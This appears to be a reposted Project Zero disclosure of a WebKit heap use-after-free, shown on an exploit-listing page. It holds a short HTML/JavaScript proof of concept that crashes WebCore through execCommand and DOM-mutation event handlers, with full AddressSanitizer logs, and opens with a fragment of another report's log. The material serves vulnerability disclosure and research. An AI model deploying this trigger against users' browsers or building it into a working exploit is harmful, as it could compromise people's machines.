    #16 0x1144392e8 in long long WebCore::IDLOperation<WebCore::JSElement>::call<&(WebCore::jsElementPrototypeFunctionSetAttributeBody(JSC::ExecState*, WebCore::JSElement*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x161a2e8)
    #17 0x3c5768201027  (<unknown module>)
    #18 0x11f926e49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #19 0x11f926e49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #20 0x11f91ff6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #21 0x11f583847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #22 0x11f50488a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #23 0x11eb1d731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #24 0x11eb1d9a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #25 0x11eb1dd13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #26 0x11405d615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #27 0x1144706cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
    #28 0x1137dc010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #29 0x1137dbae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)

SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1f3177) in WTF::ListHashSetConstIterator<WebCore::Node*, WTF::PtrHash<WebCore::Node*> >::operator++()
Shadow bytes around the buggy address:
  0x1c0600068cd0: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fd fd
  0x1c0600068ce0: fd fa fa fa fd fd fd fa fa fa fd fd fd fa fa fa
  0x1c0600068cf0: fd fd fd fa fa fa fd fd fd fa fa fa fd fd fd fa
  0x1c0600068d00: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fd fd
  0x1c0600068d10: fd fa fa fa fd fd fd fa fa fa fd fd fd fa fa fa
=>0x1c0600068d20: fd fd fd fa fa fa fd fd[fd]fa fa fa 00 00 00 02
  0x1c0600068d30: fa fa 00 00 00 01 fa fa 00 00 06 fa fa fa fd fd
  0x1c0600068d40: fd fa fa fa fd fd fd fa fa fa fd fd fd fa fa fa
  0x1c0600068d50: fd fd fd fa fa fa fd fd fd fa fa fa fd fd fd fa
  0x1c0600068d60: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fd fd
  0x1c0600068d70: fd fa fa fa fd fd fd fa fa fa fd fd fd fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==30369==ABORTING
*/
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1346

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
*/

<script>
function jsfuzzer() {
  circle.nearestViewportElement.innerHTML = "foo";
  document.execCommand("selectAll", false);
}
function eventhandler1() {
  clippath.appendChild(image);
}
function eventhandler2() {
  svg.appendChild(details);
}
function eventhandler3() {
  document.execCommand("fontName", false, "foo");
  button.autofocus = true;
  window.addEventListener("DOMNodeInserted", eventhandler2);
  div.appendChild(q);
}
</script>
<body onload=jsfuzzer()>
<q id="q">
<button id="button" onfocus="eventhandler1()">b</button>
</q>
<image id="image">
<details id="details" open="true">
<keygen autofocus="autofocus">
</details>
<div id="div"></div>
<svg id="svg">
<clipPath id="clippath" onload="eventhandler3()" />
<circle id="circle" />
</svg>
</html>

/*
=================================================================

ASan log:

=================================================================
==29700==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000149b24 at pc 0x00010fbb202a bp 0x7fff5f325d30 sp 0x7fff5f325d28
READ of size 4 at 0x607000149b24 thread T0
==29700==WARNING: invalid path to external symbolizer!
==29700==WARNING: Failed to use and restart external symbolizer!
    #0 0x10fbb2029 in WebCore::Node::getFlag(WebCore::Node::NodeFlags) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xa029)
    #1 0x10fbbca5d in WebCore::Node::firstChild() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x14a5d)
    #2 0x10fcc7f58 in WebCore::Node::hasChildNodes() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11ff58)
    #3 0x112068f8d in WebCore::PositionIterator::decrement() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x24c0f8d)
    #4 0x110492193 in WebCore::previousCandidate(WebCore::Position const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8ea193)
    #5 0x112c860e4 in WebCore::VisiblePosition::canonicalPosition(WebCore::Position const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30de0e4)
    #6 0x112c85dc7 in WebCore::VisiblePosition::init(WebCore::Position const&, WebCore::EAffinity) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30dddc7)
    #7 0x112c8cfde in WebCore::VisibleSelection::setBaseAndExtentToDeepEquivalents() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30e4fde)
    #8 0x112c8b43f in WebCore::VisibleSelection::validate(WebCore::TextGranularity) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30e343f)
    #9 0x112c8b986 in WebCore::VisibleSelection::selectionFromContentsOfNode(WebCore::Node*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x30e3986)
    #10 0x11071c1f2 in WebCore::FrameSelection::selectAll() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb741f2)
    #11 0x1104de2b0 in WebCore::executeSelectAll(WebCore::Frame&, WebCore::Event*, WebCore::EditorCommandSource, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9362b0)
    #12 0x1104d8ab3 in WebCore::Editor::Command::execute(WTF::String const&, WebCore::Event*) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x930ab3)
    #13 0x11035900a in WebCore::Document::execCommand(WTF::String const&, bool, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b100a)
    #14 0x110f4e593 in WebCore::jsDocumentPrototypeFunctionExecCommandBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13a6593)
    #15 0x110f36068 in long long WebCore::IDLOperation<WebCore::JSDocument>::call<&(WebCore::jsDocumentPrototypeFunctionExecCommandBody(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x138e068)
    #16 0x43f9a9401027  (<unknown module>)
    #17 0x1084ace49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #18 0x1084ace49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #19 0x1084a5f6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #20 0x108109847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #21 0x10808a88a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #22 0x1076a3731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #23 0x1076a39a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #24 0x1076a3d13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #25 0x110de6615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #26 0x1111f96cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
    #27 0x110565010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #28 0x110564ae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)
    #29 0x110442051 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x89a051)
    #30 0x110451c0f in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8a9c0f)
    #31 0x110344b0f in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79cb0f)
    #32 0x11033ebad in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796bad)
    #33 0x1106f13ed in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb493ed)
    #34 0x1106ee75c in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4675c)
    #35 0x11035e523 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b6523)
    #36 0x1108e25d0 in WebCore::HTMLDocumentParser::prepareToStopParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd3a5d0)
    #37 0x1103ff693 in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x857693)
    #38 0x1103c0736 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x818736)
    #39 0x10fe3c047 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x294047)
    #40 0x10fe34df1 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28cdf1)
    #41 0x11290c661 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d64661)
    #42 0x10140243b in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb1343b)
    #43 0x1014056d9 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb166d9)
    #44 0x101404bc9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xb15bc9)
    #45 0x100bf6117 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x307117)
    #46 0x1009d5695 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xe6695)
    #47 0x1009dea48 in IPC::Connection::dispatchOneMessage() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xefa48)
    #48 0x108b248e3 in WTF::RunLoop::performWork() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d228e3)
    #49 0x108b251b1 in WTF::RunLoop::performWork(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d231b1)
    #50 0x7fffd52af320 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0xa7320)
    #51 0x7fffd529021c in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x8821c)
    #52 0x7fffd528f715 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87715)
    #53 0x7fffd528f113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #54 0x7fffd47efebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #55 0x7fffd47efcf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #56 0x7fffd47efb25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #57 0x7fffd2d88a53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #58 0x7fffd35047ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #59 0x7fffd2d7d3da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #60 0x7fffd2d47e0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #61 0x7fffeac688c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
    #62 0x7fffeac672e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
    #63 0x1008d656c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
    #64 0x7fffeaa0f234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)

0x607000149b24 is located 20 bytes inside of 72-byte region [0x607000149b10,0x607000149b58)
freed by thread T0 here:
    #0 0x103b3c294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
    #1 0x108b74650 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72650)
    #2 0x10ff7685f in WebCore::ContainerNode::removeChildren() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ce85f)
    #3 0x111d1b663 in WebCore::replaceChildrenWithFragment(WebCore::ContainerNode&, WTF::Ref<WebCore::DocumentFragment>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2173663)
    #4 0x1104ff36b in WebCore::Element::setInnerHTML(WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x95736b)
    #5 0x1111ca534 in WebCore::setJSElementInnerHTMLSetter(JSC::ExecState&, WebCore::JSElement&, JSC::JSValue, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1622534)
    #6 0x1111bbca7 in bool WebCore::IDLAttribute<WebCore::JSElement>::set<&(WebCore::setJSElementInnerHTMLSetter(JSC::ExecState&, WebCore::JSElement&, JSC::JSValue, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState&, long long, long long, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1613ca7)
    #7 0x1077b0e48 in JSC::callCustomSetter(JSC::ExecState*, bool (*)(JSC::ExecState*, long long, long long), bool, JSC::JSValue, JSC::JSValue) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x9aee48)
    #8 0x1077b0f77 in JSC::callCustomSetter(JSC::ExecState*, JSC::JSValue, bool, JSC::JSObject*, JSC::JSValue, JSC::JSValue) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x9aef77)
    #9 0x1082b5008 in JSC::JSObject::putInlineSlow(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x14b3008)
    #10 0x10848b655 in llint_slow_path_put_by_id (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1689655)
    #11 0x1084a94f4 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a74f4)
    #12 0x1084ace49 in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16aae49)
    #13 0x1084a5f6f in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x16a3f6f)
    #14 0x108109847 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1307847)
    #15 0x10808a88a in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x128888a)
    #16 0x1076a3731 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1731)
    #17 0x1076a39a2 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a19a2)
    #18 0x1076a3d13 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x8a1d13)
    #19 0x110de6615 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x123e615)
    #20 0x1111f96cd in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x16516cd)
    #21 0x110565010 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener>, 1ul, WTF::CrashOnOverflow, 16ul>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bd010)
    #22 0x110564ae0 in WebCore::EventTarget::fireEventListeners(WebCore::Event&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x9bcae0)
    #23 0x110442051 in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x89a051)
    #24 0x110451c0f in WebCore::DOMWindow::dispatchLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8a9c0f)
    #25 0x110344b0f in WebCore::Document::dispatchWindowLoadEvent() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x79cb0f)
    #26 0x11033ebad in WebCore::Document::implicitClose() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x796bad)
    #27 0x1106f13ed in WebCore::FrameLoader::checkCompleted() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb493ed)
    #28 0x1106ee75c in WebCore::FrameLoader::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xb4675c)
    #29 0x11035e523 in WebCore::Document::finishedParsing() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7b6523)

previously allocated by thread T0 here:
    #0 0x103b3bd2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
    #1 0x7fffeab91281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
    #2 0x108b74ad4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d72ad4)
    #3 0x108b72d6d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d70d6d)
    #4 0x108af9247 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf7247)
    #5 0x108af863a in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1cf663a)
    #6 0x10fcee648 in WebCore::Node::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x146648)
    #7 0x112acdaad in WebCore::Text::create(WebCore::Document&, WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f25aad)
    #8 0x112acf4f8 in WebCore::Text::createWithLengthLimit(WebCore::Document&, WTF::String const&, unsigned int, unsigned int) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f274f8)
